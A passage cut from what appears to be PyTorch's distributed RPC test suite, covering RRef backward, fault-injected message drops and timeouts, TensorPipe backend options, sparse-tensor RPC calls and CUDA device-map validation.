rpc.RRef(torch.rand(10, requires_grad=True).sum()).backward(100)
with self.assertRaisesRegex(RuntimeError, "RRef should contain a tensor for .backward()"):
rpc.RRef("foo").backward()
@staticmethod
def _sum(x):
return x.sum()
@staticmethod
def _identity(x):
return x
@dist_init
def test_user_rref_backward(self):
dst = worker_name((self.rank + 1) % self.world_size)
t = torch.rand(10, requires_grad=True)
with dist_autograd.context() as context_id:
rref = rpc.remote(dst, RpcTest._sum, args=(t,))
rref.backward(context_id, retain_graph=True)
rref.backward(context_id)
self.assertEqual(torch.ones_like(t) * 2, dist_autograd.get_gradients(context_id)[t])
with dist_autograd.context() as context_id:
rref = rpc.remote(dst, RpcTest._identity, args=("foo",))
with self.assertRaisesRegex(RuntimeError, "RRef should contain a tensor for .backward()"):
rref.backward(context_id)
with self.assertRaisesRegex(RuntimeError, "User RRefs require 'dist_autograd_ctx_id' to be specified"):
rref.backward()
@dist_init(setup_rpc=False)
def test_shutdown_errors(self):
initialize_pg(self.file_init_method, self.rank, self.world_size)
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=self.rpc_backend_options,
)
if self.rank != 0:
og_func = rpc.api._broadcast_to_followers
og_rref_func = rpc.api._delete_all_user_and_unforked_owner_rrefs
# Monkey-patch _broadcast_to_followers to fail, which would ensure
# _all_gather on leader raises an exception.
def raise_error(sequence_id, objects_map):
og_func(sequence_id, objects_map)
raise RuntimeError('simulation')
# Monkey-patch _delete_all_user_and_unforked_owner_rrefs to fail,
# which would ensure barrier is not called on followers.
def rref_error():
raise RuntimeError('simulation rref')
try:
rpc.api._broadcast_to_followers = raise_error
rpc.api._delete_all_user_and_unforked_owner_rrefs = rref_error
with self.assertRaisesRegex(RuntimeError, 'simulation rref'):
rpc.shutdown()
finally:
rpc.api._broadcast_to_followers = og_func
rpc.api._delete_all_user_and_unforked_owner_rrefs = og_rref_func
else:
with self.assertRaisesRegex(RuntimeError, 'timed out in _all_gather'):
rpc.shutdown()
dist.barrier()
def _trainer_func(self, rref, sparse):
m = MyEmbeddingBagModel(sparse=sparse)
loss_fn = nn.MSELoss()
for i in range(10):
outputs = m(torch.rand(10, 10).long())
loss_fn(outputs, torch.rand(10, 10)).backward()
gradient = list(m.parameters())[0].grad
fut = rref.rpc_async().average(rref, i, gradient)
gradient = fut.wait()
if gradient.is_sparse:
gradient = gradient.to_dense().double()
ps_gradient = rref.rpc_sync().get_gradient(rref)
if ps_gradient.is_sparse:
ps_gradient = ps_gradient.to_dense().double()
self.assertTrue(torch.equal(gradient, ps_gradient))
@dist_init
def test_my_parameter_server(self):
self._my_parameter_server(False)
class CudaRpcTest(RpcAgentTestFixture):
@skip_if_lt_x_gpu(2)
@dist_init
def test_profiler_remote_cuda(self):
if self.rank != 1:
return
dst_cuda_0 = (self.rank + 1) % self.world_size
dst_cuda_1 = (self.rank + 2) % self.world_size
dst_worker_cuda_0 = worker_name(dst_cuda_0)
dst_worker_cuda_1 = worker_name(dst_cuda_1)
with _profile(use_cuda=True) as p:
fut1 = rpc.rpc_async(dst_worker_cuda_0, udf_with_torch_ops, args=(0, ))
fut2 = rpc.rpc_async(dst_worker_cuda_1, udf_with_torch_ops, args=(1, ))
fut1.wait()
fut2.wait()
def get_name(event):
return event.name[event.name.find(REMOTE_OP_STR) + len(REMOTE_OP_STR):]
function_events = p.function_events
for event in function_events:
if event.is_async:
self.assertEqual(0, event.cuda_time_total)
self.assertEqual([], event.kernels)
self.assertEqual(0, event.cuda_time)
else:
if event.node_id == 1:
continue
self.assertTrue(event.node_id in [dst_cuda_0, dst_cuda_1])
if get_name(event) in EXPECTED_REMOTE_EVENTS:
self.assertGreater(event.cuda_time_total, 0)
self.assertEqual(1, len(event.kernels))
kernel = event.kernels[0]
if event.node_id == dst_cuda_0:
self.assertEqual(kernel.device, 0)
if event.node_id == dst_cuda_1:
self.assertEqual(kernel.device, 1)
self.assertGreater(event.cuda_time, 0)
# Validate that EXPECTED_REMOTE_EVENTS is a subset of remotely profiled
# events.
remote_events = [event for event in function_events if event.is_remote]
remote_event_names = [get_name(event) for event in remote_events if get_name(event) in EXPECTED_REMOTE_EVENTS]
self.assertEqual(set(remote_event_names), set(EXPECTED_REMOTE_EVENTS))
class FaultyAgentRpcTest(RpcAgentTestFixture):
# no faulty_messages defined so this fails all retryable messages - see
# faulty_rpc_agent_test_fixture.py for the list of retryable messages.
@dist_init(messages_to_delay={})
def test_check_failed_messages(self):
if self.rank == 0:
dst_worker_b = worker_name((self.rank + 1) % self.world_size)
dst_worker_c = worker_name((self.rank + 2) % self.world_size)
# Worker0 sends RPC to Worker1 and creates an RRef there
rref = rpc.remote(dst_worker_b, torch.add, args=(torch.ones(2, 2), torch.ones(2, 2)))
# Worker0 sends an RPC to Worker2 with the RRef as an arg
rpc.remote(dst_worker_c, add_rref_to_value, args=(rref, torch.ones(2, 2)))
# check if the output is as expected
self.assertEqual(rref.to_here(), torch.add(torch.ones(2, 2), torch.ones(2, 2)))
# explicitly delete all User RRefs
_delete_all_user_and_unforked_owner_rrefs()
@dist_init
def test_verify_backend_options(self):
self.assertEqual(self.rpc_backend, rpc.backend_registry.BackendType.FAULTY_TENSORPIPE)
self.assertEqual(self.rpc_backend_options.num_worker_threads, 8)
self.assertEqual(self.rpc_backend_options.num_fail_sends, 3)
self.assertEqual(len(self.rpc_backend_options.messages_to_fail), 4)
self.assertEqual(len(self.rpc_backend_options.messages_to_delay), 2)
self.assertEqual(self.rpc_backend_options.rpc_timeout, rpc.constants.DEFAULT_RPC_TIMEOUT_SEC)
@dist_init(faulty_messages=["RREF_FORK_REQUEST", "RREF_CHILD_ACCEPT"])
def test_custom_faulty_messages(self):
self.assertEqual(
set(["RREF_FORK_REQUEST", "RREF_CHILD_ACCEPT"]),
set(self.rpc_backend_options.messages_to_fail),
)
@dist_init(faulty_messages=[])
def test_no_faulty_messages(self):
self.assertEqual(len(self.rpc_backend_options.messages_to_fail), 0)
@dist_init(messages_to_delay={"SCRIPT_CALL": 1.5})
def test_custom_messages_to_delay(self):
self.assertEqual(self.rpc_backend_options.messages_to_delay, {"SCRIPT_CALL": 1.5})
def _test_remote_message_dropped_pickle(self, dst=None):
if self.rank != 0:
return
dst_rank = dst if dst is not None else (self.rank + 1) % self.world_size
dst_worker = "worker{}".format(dst_rank)
# Since we fail python_remote_call messages synchronously, the future
# corresponding to this remote call will be marked with an error when
# this function returns.
rref = rpc.remote(dst_worker, my_sleep_func, args=(1,))
# Call to ensure pending callbacks are run.
wait_until_pending_futures_and_users_flushed()
# Attempt to fork the RRef should raise an error indicating the rpc.remote timeout.
with self.assertRaisesRegex(RuntimeError, "RRef creation"):
rref._serialize()
# Test that using RRef as arg over RPC (which forks) results in the same
# error
with self.assertRaisesRegex(RuntimeError, "RRef creation"):
rpc.rpc_async(dst_worker, add_rref_to_value, args=(rref, 1))
@dist_init(faulty_messages=["PYTHON_REMOTE_CALL"])
def test_remote_message_dropped_pickle(self):
self._test_remote_message_dropped_pickle()
@dist_init(faulty_messages=["PYTHON_REMOTE_CALL"])
def test_remote_message_dropped_pickle_to_self(self):
self._test_remote_message_dropped_pickle(self.rank)
def _test_remote_message_dropped_timeout(self, func, args, dst=None):
if self.rank != 0:
return
# test the case where rpc.remote() message creation is completely dropped.
dst_rank = dst if dst is not None else (self.rank + 1) % self.world_size
dst_worker = "worker{}".format(dst_rank)
# Since we fail python_remote_call messages synchronously, the future
# corresponding to this remote call will be marked with an error when
# this function returns.
rref = rpc.remote(dst_worker, func, args=args)
# Call to ensure pending callbacks are run.
wait_until_pending_futures_and_users_flushed()
with self.assertRaisesRegex(RuntimeError, "RRef creation"):
rref.to_here()
# Note: during shutdown, logs will indicate "Could not find OwnerRRef..."
# on the owning nodes, this is expected because the OwnerRRef was never
# successfully created. Therefore, delAllUsers will work as expected.
@dist_init(faulty_messages=["SCRIPT_REMOTE_CALL"])
def test_builtin_remote_message_dropped_timeout(self):
func = torch.add
args = (torch.tensor(1), torch.tensor(1))
self._test_remote_message_dropped_timeout(func, args)
@dist_init(faulty_messages=["SCRIPT_REMOTE_CALL"])
def test_builtin_remote_message_dropped_timeout_to_self(self):
func = torch.add
args = (torch.tensor(1), torch.tensor(1))
self._test_remote_message_dropped_timeout(func, args, dst=0)
@dist_init(faulty_messages=["PYTHON_REMOTE_CALL"])
def test_udf_remote_message_dropped_timeout(self):
func = my_sleep_func
args = (2,)
self._test_remote_message_dropped_timeout(func, args)
@dist_init(faulty_messages=["PYTHON_REMOTE_CALL"])
def test_udf_remote_message_dropped_timeout_to_self(self):
func = my_sleep_func
args = (2,)
self._test_remote_message_dropped_timeout(func, args, dst=0)
def _test_remote_message_delay_timeout(self, func, args, dst=None):
if self.rank != 0:
return
# Test the case where remote message is eventually processed on the owner,
# but the future on the creator times out before the response comes back.
dst_rank = dst if dst is not None else (self.rank + 1) % self.world_size
dst_worker = "worker{}".format(dst_rank)
# 10 ms timeout
rref = rpc.remote(dst_worker, func, args=args, timeout=0.001)
# Future corresponding to the remote creation should time out.
expected_error = self.get_timeout_error_regex()
with self.assertRaisesRegex(RuntimeError, expected_error):
rref._get_future().wait()
# Call to ensure pending callbacks are run.
wait_until_pending_futures_and_users_flushed()
# to_here() should now pick up that rpc.remote() creation has failed.
with self.assertRaisesRegex(RuntimeError, "RRef creation"):
rref.to_here()
# Test the case where rpc.remote() times out, but to_here() has already
# started blocking before.
# NOTE: we only test this when not sending to self, as to_here() calls
# calls localValue(), which does not send an RPC and thus does not have
# a timeout. This can be supported by allowing future.wait() to
# take in an optional timeout (https://github.com/pytorch/pytorch/issues/39280)
if dst_rank != self.rank:
slow_rref = rpc.remote(dst_worker, func, args=args, timeout=2)
with self.assertRaisesRegex(RuntimeError, expected_error):
# to_here() should raise timeout error, since it does not know about the
# status of rpc.remote().
slow_rref.to_here(0.001)
# Note: If we proceed with shutdown, UserRRef will send out a RRefUserDelete
# but this can be a noop since it may not exist on the owner yet. Later,
# the owner can process the RRef creation and wait for the delete message,
# thus leading to a timeout.
# Therefore, we wait until we get notification that pending owners have
# been confirmed before sending out RRefUserDeletes.
if dst_rank != self.rank:
wait_until_owners_and_forks_on_rank(2, 2, rank=dst_rank)
@dist_init(faulty_messages=[], messages_to_delay={"PYTHON_REMOTE_CALL": 2})
def test_udf_remote_message_delay_timeout(self):
func = my_sleep_func
args = (2,)
self._test_remote_message_delay_timeout(func, args)
@dist_init(faulty_messages=[], messages_to_delay={"PYTHON_REMOTE_CALL": 2})
def test_udf_remote_message_delay_timeout_to_self(self):
func = my_sleep_func
args = (1,)
self._test_remote_message_delay_timeout(func, args, dst=0)
@dist_init(
faulty_messages=[],
messages_to_delay={"SCRIPT_REMOTE_CALL": 2, "SCRIPT_RREF_FETCH_CALL": 1},
)
def test_remote_message_builtin_delay_timeout(self):
func = torch.add
args = (torch.tensor(1), torch.tensor(1))
self._test_remote_message_delay_timeout(func, args)
@dist_init(
faulty_messages=[],
messages_to_delay={"SCRIPT_REMOTE_CALL": 2, "SCRIPT_RREF_FETCH_CALL": 1},
)
def test_remote_message_builtin_delay_timeout_to_self(self):
func = torch.add
args = (torch.tensor(1), torch.tensor(1))
self._test_remote_message_delay_timeout(func, args, dst=0)
@dist_init(
faulty_messages=[],
messages_to_delay={"SCRIPT_REMOTE_CALL": 2, "SCRIPT_RREF_FETCH_CALL": 1},
)
def test_remote_message_script_delay_timeout(self):
func = my_script_func
args = (torch.tensor(1),)
self._test_remote_message_delay_timeout(func, args)
@dist_init(
faulty_messages=[],
messages_to_delay={"SCRIPT_REMOTE_CALL": 2, "SCRIPT_RREF_FETCH_CALL": 1},
)
def test_remote_message_script_delay_timeout_to_self(self):
func = my_script_func
args = (torch.tensor(1),)
self._test_remote_message_delay_timeout(func, args, dst=0)
@dist_init(faulty_messages=[], messages_to_delay={"SCRIPT_RREF_FETCH_CALL": 1})
def test_rref_to_here_timeout(self):
if self.rank != 0:
return
dst_rank = (self.rank + 1) % self.world_size
dst_worker = "worker{}".format(dst_rank)
rref = rpc.remote(
dst_worker, torch.add, args=(torch.tensor(1), torch.tensor(1))
)
expected_error = self.get_timeout_error_regex()
with self.assertRaisesRegex(RuntimeError, expected_error):
rref.to_here(0.01)
rref.to_here()
@dist_init(faulty_messages=[])
def test_rpc_builtin_timeout(self):
next_rank = (self.rank + 1) % self.world_size
dst_worker = worker_name(next_rank)
expected_error = self.get_timeout_error_regex()
# PYTHON_CALL message types which correspond to Python UDF over RPC
# by default get a delay (see faulty_rpc_agent_test_fixture)
with self.assertRaisesRegex(RuntimeError, expected_error):
rpc.rpc_sync(
dst_worker,
torch.add,
args=(torch.tensor(1), torch.tensor(1)),
timeout=1,
)
fut = rpc.rpc_async(
dst_worker, torch.add, args=(torch.tensor(1), torch.tensor(1)), timeout=1
)
with self.assertRaisesRegex(RuntimeError, expected_error):
fut.wait()
# Ensure that the currently set default timeout is large enough such
# that RPCs with delays still complete.
fut = rpc.rpc_async(
dst_worker, torch.add, args=(torch.tensor(1), torch.tensor(1))
)
fut.wait()
# Ensure timeout if we set a new default and don't override
rpc._set_rpc_timeout(0.001)
fut = rpc.rpc_async(
dst_worker, torch.add, args=(torch.tensor(1), torch.tensor(1))
)
with self.assertRaisesRegex(RuntimeError, expected_error):
fut.wait()
# Ensure run to completion if we specify timeout of 0
fut = rpc.rpc_async(
dst_worker, torch.add, args=(torch.tensor(1), torch.tensor(1)), timeout=0
)
fut.wait()
# Reset for clean shutdown
rpc._set_rpc_timeout(rpc.constants.DEFAULT_RPC_TIMEOUT_SEC)
@dist_init(faulty_messages=[], messages_to_delay={"SCRIPT_CALL": 1.5})
def test_rpc_script_timeout(self):
next_rank = (self.rank + 1) % self.world_size
dst_worker = worker_name(next_rank)
expected_error = self.get_timeout_error_regex()
with self.assertRaisesRegex(RuntimeError, expected_error):
rpc.rpc_sync(dst_worker, my_script_func, args=(torch.tensor(1),), timeout=1)
fut = rpc.rpc_async(dst_worker, my_script_func, args=(torch.tensor(1),), timeout=1)
with self.assertRaisesRegex(RuntimeError, expected_error):
fut.wait()
# Ensure that the currently set default timeout is large enough such
# that RPCs with delays still complete.
fut = rpc.rpc_async(
dst_worker, my_script_func, args=(torch.tensor(1),)
)
fut.wait()
# Ensure timeout if we set a new default and don't override
rpc._set_rpc_timeout(0.001)
fut = rpc.rpc_async(
dst_worker, my_script_func, args=(torch.tensor(1),)
)
with self.assertRaisesRegex(RuntimeError, expected_error):
fut.wait()
# Ensure run to completion if we specify timeout of 0
rpc._set_rpc_timeout(0.001)
fut = rpc.rpc_async(
dst_worker, my_script_func, args=(torch.tensor(1),), timeout=0
)
fut.wait()
# Reset for clean shutdown
rpc._set_rpc_timeout(rpc.constants.DEFAULT_RPC_TIMEOUT_SEC)
class TensorPipeAgentRpcTest(RpcAgentTestFixture, RpcTestCommon):
def test_mismatched_type_for_options(self):
# An exception should be raised if the options are not an instance of
# TensorPipeRpcBackendOptions.
rpc_backend_options = FooBackendOptions(self.init_method)
with self.assertRaisesRegex(
TypeError, "`rpc_backend_options` must be a `TensorPipeRpcBackendOptions`"
):
rpc.init_rpc(
name=worker_name(self.rank),
rank=self.rank,
world_size=self.world_size,
backend=rpc.BackendType.TENSORPIPE,
rpc_backend_options=rpc_backend_options,
)
def test_infer_backend_from_options(self):
rpc_backend_options = rpc.TensorPipeRpcBackendOptions(
init_method=self.init_method
)
rpc.init_rpc(
name=worker_name(self.rank),
rank=self.rank,
world_size=self.world_size,
# Do _not_ pass backend.
rpc_backend_options=rpc_backend_options,
)
self.assertIsInstance(rpc.api._get_current_rpc_agent(), rpc.TensorPipeAgent)
# FIXME Merge this test with the corresponding one in RpcTest.
@dist_init(setup_rpc=False)
def test_set_and_get_num_worker_threads(self):
NUM_THREADS = 27
rpc_backend_options = rpc.TensorPipeRpcBackendOptions(
init_method=self.rpc_backend_options.init_method,
num_worker_threads=NUM_THREADS
)
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=rpc_backend_options,
)
info = rpc.api._get_current_rpc_agent().get_debug_info()
self.assertEqual(int(info["agent.thread_pool_size"]), NUM_THREADS)
rpc.shutdown()
# FIXME Merge this test with the corresponding one in RpcTest.
@dist_init(setup_rpc=False)
def test_tensorpipe_set_default_timeout(self):
# Set a high timeout since it doesn't affect test runtime and ensures
# the test doesn't erroneously timeout due to slow machines.
timeout = 100
rpc_backend_options = rpc.TensorPipeRpcBackendOptions(
init_method=self.rpc_backend_options.init_method,
num_worker_threads=self.rpc_backend_options.num_worker_threads,
rpc_timeout=timeout
)
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=rpc_backend_options,
)
default_timeout = rpc.get_rpc_timeout()
self.assertEqual(default_timeout, timeout)
rpc.shutdown()
# FIXME Merge this test with the corresponding one in RpcTest.
@dist_init(setup_rpc=False)
def test_tensorpipe_options_throw_on_timedelta_timeout(self):
from datetime import timedelta
timeout = timedelta()
# Ensure that constructing TensorPipeRpcBackendOptions with timedelta fails
with self.assertRaisesRegex(TypeError, "incompatible constructor arguments"):
rpc_backend_options = rpc.TensorPipeRpcBackendOptions(
init_method=self.rpc_backend_options.init_method,
num_worker_threads=self.rpc_backend_options.num_worker_threads,
rpc_timeout=timeout,
)
@dist_init
def _test_rref_get_type_timeout(self, blocking):
# Test where we try to get the type of a RRef from an owner, but RRef
# creation is slower than timeout passed into _get_type.
dst_rank = (self.rank + 1) % self.world_size
dst = worker_name(dst_rank)
slow_rref = rpc.remote(dst, MyClass, args=(torch.ones(2, 2), True))
timeout = 0.5
expected_err = self.get_timeout_error_regex()
# Blocking: blocks on inline call
if blocking:
with self.assertRaisesRegex(RuntimeError, expected_err):
slow_rref._get_type(timeout=timeout, blocking=blocking)
# Non-blocking: blocks on wait
else:
fut = slow_rref._get_type(timeout=timeout, blocking=blocking)
with self.assertRaisesRegex(RuntimeError, expected_err):
fut.wait()
# FIXME We wait until the remote completed creating the OwnerRRef
# because there's currently a race if we shut down RPC before that.
slow_rref.to_here()
def test_rref_get_type_timeout_blocking(self):
self._test_rref_get_type_timeout(blocking=True)
def test_rref_get_type_timeout_non_blocking(self):
self._test_rref_get_type_timeout(blocking=False)
@dist_init
def test_op_with_invalid_args(self):
dst = worker_name((self.rank + 1) % self.world_size)
with self.assertRaisesRegex(
RuntimeError, "Overloaded torch operator invoked from Python failed to many any schema"
):
rpc.rpc_sync(dst, torch.add, args=())
def _test_rref_proxy_timeout(self, rref_proxy_api):
dst_rank = (self.rank + 1) % self.world_size
dst = worker_name(dst_rank)
rref = rpc.remote(dst, MyClass, args=(torch.ones(2, 2), ))
# Ensure RRef is created on remote node.
rref.to_here()
rref_api = getattr(rref, rref_proxy_api)
self.assertTrue(rref_api is not None, f"Failed to get RRef proxy api: {rref_proxy_api}")
expected_error = self.get_timeout_error_regex()
timeout = 2
with self.assertRaisesRegex(RuntimeError, expected_error):
result = rref_api(timeout=timeout).my_slow_method(torch.ones(2, 2))
if rref_api == rref.rpc_async:
result.wait()
elif rref_api == rref.remote:
result._get_future().wait()
# Case where rpc.remote() is stuck and exceeds timeout
slow_rref = rpc.remote(dst, MyClass, args=(torch.ones(2, 2), True))
timeout = 0.01
rref_api = getattr(slow_rref, rref_proxy_api)
# Note that even when we call rref.rpc_async() in this case, we
# time out in future creation, not waiting for future. This is because
# rref proxy function calls rref._get_type before returning future,
# which blocks on the RRef being created on owner node, until the
# specified timeout.
with self.assertRaisesRegex(RuntimeError, expected_error):
result = rref_api(timeout=timeout).my_instance_method(torch.ones(2, 2))
# rpc_async returns immediately and surface a timeout through wait()
if rref_api == slow_rref.rpc_async:
result.wait()
# FIXME We wait until the remote completed creating the OwnerRRef
# because there's currently a race if we shut down RPC before that.
slow_rref.to_here()
@dist_init
def test_rref_proxy_timeout(self):
for rpc_api in ["rpc_sync", "rpc_async", "remote"]:
self._test_rref_proxy_timeout(rpc_api)
class MyConvNetForMNIST(nn.Module):
def __init__(self, device):
super().__init__()
self.net = nn.Sequential(
nn.Conv2d(1, 16, 3, 1),
nn.ReLU(),
nn.Conv2d(16, 32, 3, 1),
nn.ReLU(),
nn.MaxPool2d(2),
nn.Flatten(1),
nn.Linear(4608, 128),
nn.ReLU(),
nn.Linear(128, 10),
).to(device)
self.device = device
def forward(self, x, is_rref=False):
x = x.to_here() if is_rref else x
with torch.cuda.stream(torch.cuda.current_stream(self.device)):
# intentionally adding delay to current CUDA stream
torch.cuda._sleep(10 * FIFTY_MIL_CYCLES)
return self.net(x)
def __getstate__(self):
# return an empty dict to avoid inspecting the model contents on the
# owner
return {}
@dist_init
def test_send_to_rank_sparse(self):
dst_rank = (self.rank + 1) % self.world_size
# Test sparse tensor
for exec_mode in [RPCExecMode.SYNC, RPCExecMode.ASYNC, RPCExecMode.REMOTE]:
x = build_sparse_tensor()
y = build_sparse_tensor()
expected_tensor = (x + y)
ret = self._run_func_in_mode(dst_rank, torch.add, exec_mode, args=(x, y))
self.assertEqual(expected_tensor, ret)
for exec_mode in [RPCExecMode.SYNC, RPCExecMode.ASYNC, RPCExecMode.REMOTE]:
x = build_sparse_tensor(coalesce=True)
y = build_sparse_tensor(coalesce=True)
expected_tensor = (x + y)
ret = self._run_func_in_mode(dst_rank, torch.add, exec_mode, args=(x, y))
self.assertEqual(expected_tensor, ret)
@dist_init
def test_self_py_udf_remote_sparse(self):
self._self_py_udf_remote(
rpc.get_worker_info(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor()
)
@dist_init
def test_self_remote_rref_as_rpc_arg_sparse(self):
dst = worker_name((self.rank + 1) % self.world_size)
self._self_remote_rref_as_rpc_arg(
dst,
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor()
)
@dist_init
def test_self_remote_rref_as_self_rpc_arg_sparse(self):
self._self_remote_rref_as_rpc_arg(
rpc.get_worker_info(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor()
)
@dist_init
def test_self_remote_rref_as_remote_arg_sparse(self):
dst = worker_name((self.rank + 1) % self.world_size)
self._self_remote_rref_as_remote_arg(
dst,
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor()
)
@dist_init
def test_self_remote_rref_as_self_remote_arg_sparse(self):
self._self_remote_rref_as_remote_arg(
rpc.get_worker_info(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor()
)
def test_world_size_one_sparse(self):
self._world_size_one(
build_sparse_tensor(),
build_sparse_tensor()
)
@dist_init
def test_multi_rpc_sparse(self):
self._multi_rpc(True)
def test_wait_all_workers_sparse(self):
self._wait_all_workers(heavy_rpc_sparse, build_sparse_tensor())
def test_wait_all_workers_twice_sparse(self):
self._wait_all_workers_twice(heavy_rpc_sparse, build_sparse_tensor())
@dist_init
def test_py_sparse_tensors_in_container(self):
n = self.rank + 1
dst_rank = n % self.world_size
a = [build_sparse_tensor(), build_sparse_tensor()]
ret = rpc.rpc_sync(
worker_name(dst_rank), my_container_sum, args=(a,)
)
self.assertEqual(ret, my_container_sum(a))
@dist_init
def test_nested_rpc_sparse(self):
self._nested_rpc(nested_rpc_sparse, build_sparse_tensor() * 2)
@dist_init
def test_stress_heavy_rpc_sparse(self):
self._stress_test_rpc(heavy_rpc_sparse, repeat=20, args=(build_sparse_tensor(),))
@dist_init
def test_builtin_remote_ret_sparse(self):
self._builtin_remote_ret(
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor() * 2
)
@dist_init
def test_builtin_remote_self_sparse(self):
self._builtin_remote_self(
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor() * 2
)
@dist_init
def test_multi_builtin_remote_ret_sparse(self):
self._test_multi_remote_call(
torch.add, True,
args_fn=RpcTest._multi_args_fn
)
@dist_init
def test_multi_py_udf_remote_sparse(self):
self._test_multi_remote_call(
my_function,
True,
kwargs_fn=RpcTest._multi_kwargs_fn
)
@dist_init
def test_py_rref_args_sparse(self):
self._py_rref_args(
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor() * 4
)
@dist_init
def test_py_rref_args_user_share_sparse(self):
self._py_rref_args_user_share(
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor() * 6
)
@dist_init
def test_py_rpc_rref_args_sparse(self):
self._py_rpc_rref_args(
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor(),
build_sparse_tensor() * 6
)
@dist_init
def test_nested_remote_sparse(self):
self._nested_remote(
nested_remote_sparse,
build_sparse_tensor() + build_sparse_tensor()
)
@dist_init
def test_nested_rref_sparse(self):
self._nested_rref(
nested_rref_sparse,
build_sparse_tensor() * 2,
build_sparse_tensor() * 2
)
@dist_init
def test_nested_rref_stress_sparse(self):
self._nested_rref_stress(
nested_rref_sparse,
build_sparse_tensor() * 2,
build_sparse_tensor() * 2
)
@dist_init
def test_my_parameter_server_sparse(self):
self._my_parameter_server(True)
class TensorPipeAgentCudaRpcTest(RpcAgentTestFixture, RpcTestCommon):
def _test_device_maps(self, options, errMsg):
with self.assertRaisesRegex(ValueError, errMsg):
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
self.assertFalse(rpc.api._is_current_rpc_agent_set())
@skip_if_lt_x_gpu(2)
def test_device_maps_wrong_worker_name(self):
options = self.rpc_backend_options
options.set_device_map("none_exist", {0: 1})
self._test_device_maps(
options,
errMsg="Node worker0 has invalid target node names in its device maps"
)
@skip_if_lt_x_gpu(1)
def test_device_maps_invalid_max_local_device(self):
options = self.rpc_backend_options
dst = worker_name((self.rank + 1) % self.world_size)
options.set_device_map(dst, {torch.cuda.device_count(): 0})
self._test_device_maps(
options,
errMsg="Node worker0 has source devices with invalid indices in its device map for worker1"
)
@skip_if_lt_x_gpu(1)
def test_device_maps_invalid_max_remote_device(self):
options = self.rpc_backend_options
dst = worker_name((self.rank + 1) % self.world_size)
options.set_device_map(dst, {0: torch.cuda.device_count()})
self._test_device_maps(
options,
errMsg="Node worker0 has target devices with invalid indices in its device map for worker1"
)
@skip_if_lt_x_gpu(2)
def test_device_maps_many_to_one(self):
options = self.rpc_backend_options
dst = worker_name((self.rank + 1) % self.world_size)
options.set_device_map(dst, {1: 0})
options.set_device_map(dst, {0: 0})
self._test_device_maps(
options,
errMsg="Node worker0 has duplicated target devices in its device map for worker1"
)
@skip_if_lt_x_gpu(2)
def test_device_maps_one_to_many(self):
if self.rank == 0:
options = self.rpc_backend_options
dst = worker_name((self.rank + 1) % self.world_size)
options.set_device_map(dst, {0: 1})
with self.assertRaisesRegex(
ValueError, "`set_device_map` only supports 1-to-1 mapping"
):
options.set_device_map(dst, {0: 0})
@skip_if_lt_x_gpu(1)
def test_device_maps_invalid_min_device(self):
options = self.rpc_backend_options
dst = worker_name((self.rank + 1) % self.world_size)
with self.assertRaisesRegex(
RuntimeError, "Device index must not be negative"
):
options.set_device_map(dst, {-1: 0})
with self.assertRaisesRegex(
RuntimeError, "Device index must not be negative"
):
options.set_device_map(dst, {0: -1})
@staticmethod
def _gpu_add(x, y):
if all([x.is_cuda, x.device.index == 1, y.is_cuda, y.device.index == 1]):
return (x + y).to(0)
else:
raise ValueError("Wrong device affinity")
@skip_if_lt_x_gpu(2)
def test_device_maps_gpu(self):
options = self.rpc_backend_options
dst = worker_name((self.rank + 1) % self.world_size)
options.set_device_map(dst, {0: 1, 1: 0})
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
ret = rpc.rpc_sync(
dst,
TensorPipeAgentCudaRpcTest._gpu_add,
args=(torch.zeros(2).to(0), torch.ones(2).to(0))
)
self.assertEqual(ret.device, torch.device(1))
self.assertEqual(ret, (torch.zeros(2) + torch.ones(2)).to(1))
rpc.shutdown()
@staticmethod
def _gpu_add_given_devices(x, y, x_to, y_to, z_to):
x_device = "cpu" if x.device.type == "cpu" else x.device.index
y_device = "cpu" if y.device.type == "cpu" else y.device.index
if x_device == x_to and y_device == y_to:
return x.to(z_to) + y.to(z_to)
else:
raise ValueError("Wrong device affinity")
def _test_device_maps_gpu(self, x_from, y_from, z_to, device_map, dst=None, fn=None):
fn = TensorPipeAgentCudaRpcTest._gpu_add_given_devices if fn is None else fn
x_to = device_map[x_from]
y_to = device_map[y_from]
options = self.rpc_backend_options
dst = worker_name((self.rank + 1) % self.world_size) if dst is None else dst
options.set_device_map(dst, device_map)
rpc.init_rpc(
name=worker_name(self.rank),
backend=self.rpc_backend,
rank=self.rank,
world_size=self.world_size,
rpc_backend_options=options,
)
x = torch.zeros(2).to(x_from)
y = torch.ones(2).to(y_from)
ret = rpc.rpc_sync(dst, fn, args=(x, y, x_to, y_to, z_to))
reverse_device_map = {device_map[k] : k for k in device_map}
z_from = reverse_device_map[z_to]
ret_device = "cpu" if ret.device.type == "cpu" else ret.device.index
self.assertEqual(ret_device, z_from)
self.assertEqual(ret, torch.ones(2).to(z_from))
rpc.shutdown()
def test_device_map_cpu(self):
self._test_device_maps_gpu(
x_from="cpu",
y_from="cpu",
z_to="cpu",
device_map={"cpu" : "cpu"},
fn=TensorPipeAgentCudaRpcTest._gpu_add_given_devices,
)
@skip_if_lt_x_gpu(1)
def test_device_map_cpu_to_gpu_default(self):
self._test_device_maps_gpu(
x_from="cpu",
y_from="cpu",
z_to=0,
